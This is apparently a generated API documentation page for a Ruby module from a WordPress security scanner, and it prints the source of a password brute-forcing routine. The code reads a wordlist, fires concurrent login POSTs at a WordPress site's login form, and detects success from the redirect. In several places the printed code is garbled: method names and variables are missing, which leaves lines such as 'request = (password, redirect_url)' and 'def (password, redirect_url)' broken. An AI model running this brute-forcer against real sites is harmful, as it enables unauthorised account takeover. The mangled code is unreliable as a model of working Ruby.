Module: WpUser::BruteForcable

Included in:
WpUser
Defined in:
lib/common/models/wp_user/brute_forcable.rb

Class Method Summary (collapse)

Instance Method Summary (collapse)

Class Method Details

+ (Array<String>) passwords_from_wordlist(wordlist)

Load the passwords from the wordlist, which can be a file path or an array or passwords

File comments are ignored, but will miss passwords if they start with a hash...

Parameters:

  • wordlist (String, Array<String>)

Returns:



134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
# File 'lib/common/models/wp_user/brute_forcable.rb', line 134

def self.passwords_from_wordlist(wordlist)
  if wordlist.is_a?(String)
    passwords = []
    charset   = File.charset(wordlist).upcase
    opt       = "r:#{charset}"
    # To remove warning when charset = UTF-8
    # Ignoring internal encoding UTF-8: it is identical to external encoding utf-8
    opt      += ':UTF-8' if charset != 'UTF-8'

    File.open(wordlist, opt).each do |line|
      next if line[0,1] == '#'

      passwords << line.strip
    end
  elsif wordlist.is_a?(Array)
    passwords = wordlist
  else
    raise 'Invalid wordlist, expected String or Array'
  end

  passwords
end

Instance Method Details

- (void) brute_force(wordlist, options = {}, redirect_url = nil)

This method returns an undefined value.

Brute force the user with the wordlist supplied

It can take a long time to queue 2 million requests, for that reason, we queue browser.max_threads, send browser.max_threads, queue browser.max_threads and so on.

hydra.run only returns when it has recieved all of its, responses. This means that while we are waiting for browser.max_threads, responses, we are waiting...

Parameters:

  • wordlist (String, Array<String>)

    The wordlist path

  • options (Hash) (defaults to: {})
  • redirect_url (String) (defaults to: nil)

    Override for redirect_url

Options Hash (options):

  • :verbose (Boolean)
  • :show_progression (Boolean)


23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# File 'lib/common/models/wp_user/brute_forcable.rb', line 23

def brute_force(wordlist, options = {}, redirect_url = nil)
  browser      = Browser.instance
  hydra        = browser.hydra
  passwords    = BruteForcable.passwords_from_wordlist(wordlist)
  queue_count  = 0
  found        = false
  progress_bar = self.progress_bar(passwords.size, options)

  passwords.each do |password|
    # A successfull login will redirect us to the redirect_to parameter
    # Generate a random one on each request
    unless redirect_url
      random = (0...8).map { 65.+(rand(26)).chr }.join
      redirect_url = "#@uri#{random}/"
    end

    request = (password, redirect_url)

    request.on_complete do |response|
      progress_bar.progress += 1 if options[:show_progression] && !found

      puts "\n  Trying Username : #{} Password : #{password}" if options[:verbose]

      if valid_password?(response, password, redirect_url, options)
        found         = true
        self.password = password
        return
      end
    end

    hydra.queue(request)
    queue_count += 1

    if queue_count >= browser.max_threads
      hydra.run
      queue_count = 0
      puts "Sent #{browser.max_threads} requests ..." if options[:verbose]
    end
  end

  # run all of the remaining requests
  hydra.run
end

- (Typhoeus::Request) login_request(password, redirect_url)

Parameters:

  • password (String)
  • redirect_url (String)

Returns:



87
88
89
90
91
92
93
# File 'lib/common/models/wp_user/brute_forcable.rb', line 87

def (password, redirect_url)
  Browser.instance.forge_request(,
    method: :post,
    body: { log: , pwd: password, redirect_to: redirect_url },
    cache_ttl: 0
  )
end

- (ProgressBar) progress_bar(passwords_size, options)

:nocov:

Parameters:

  • targets_size (Integer)
  • options (Hash)

Returns:

  • (ProgressBar)


72
73
74
75
76
77
78
79
80
# File 'lib/common/models/wp_user/brute_forcable.rb', line 72

def progress_bar(passwords_size, options)
  if options[:show_progression]
    ProgressBar.create(
      format: '%t %a <%B> (%c / %C) %P%% %e',
      title: "  Brute Forcing '#{}'",
      total: passwords_size
    )
  end
end

- (Boolean) valid_password?(response, password, redirect_url, options = {})

Parameters:

  • response (Typhoeus::Response)
  • password (String)
  • redirect_url (String)
  • options (Hash) (defaults to: {})

Options Hash (options):

  • :verbose (Boolean)
  • :show_progression (Boolean)

Returns:

  • (Boolean)


103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# File 'lib/common/models/wp_user/brute_forcable.rb', line 103

def valid_password?(response, password, redirect_url, options = {})
  if response.code == 302 && response.headers_hash && response.headers_hash['Location'] == redirect_url
    progression = "#{green('[SUCCESS]')} Login : #{} Password : #{password}\n\n"
    valid       = true
  elsif response.body =~ /login_error/i
    verbose = "\n  Incorrect login and/or password."
  elsif response.timed_out?
    progression = "#{red('ERROR:')} Request timed out."
  elsif response.code == 0
    progression = "#{red('ERROR:')} No response from remote server. WAF/IPS?"
  elsif response.code.to_s =~ /^50/
    progression = "#{red('ERROR:')} Server error, try reducing the number of threads."
  else
    progression = "#{red('ERROR:')} We received an unknown response for #{password}..."
    verbose     = red("    Code: #{response.code}\n    Body: #{response.body}\n")
  end

  puts "\n  " + progression if progression && options[:show_progression]
  puts verbose if verbose && options[:verbose]

  valid || false
end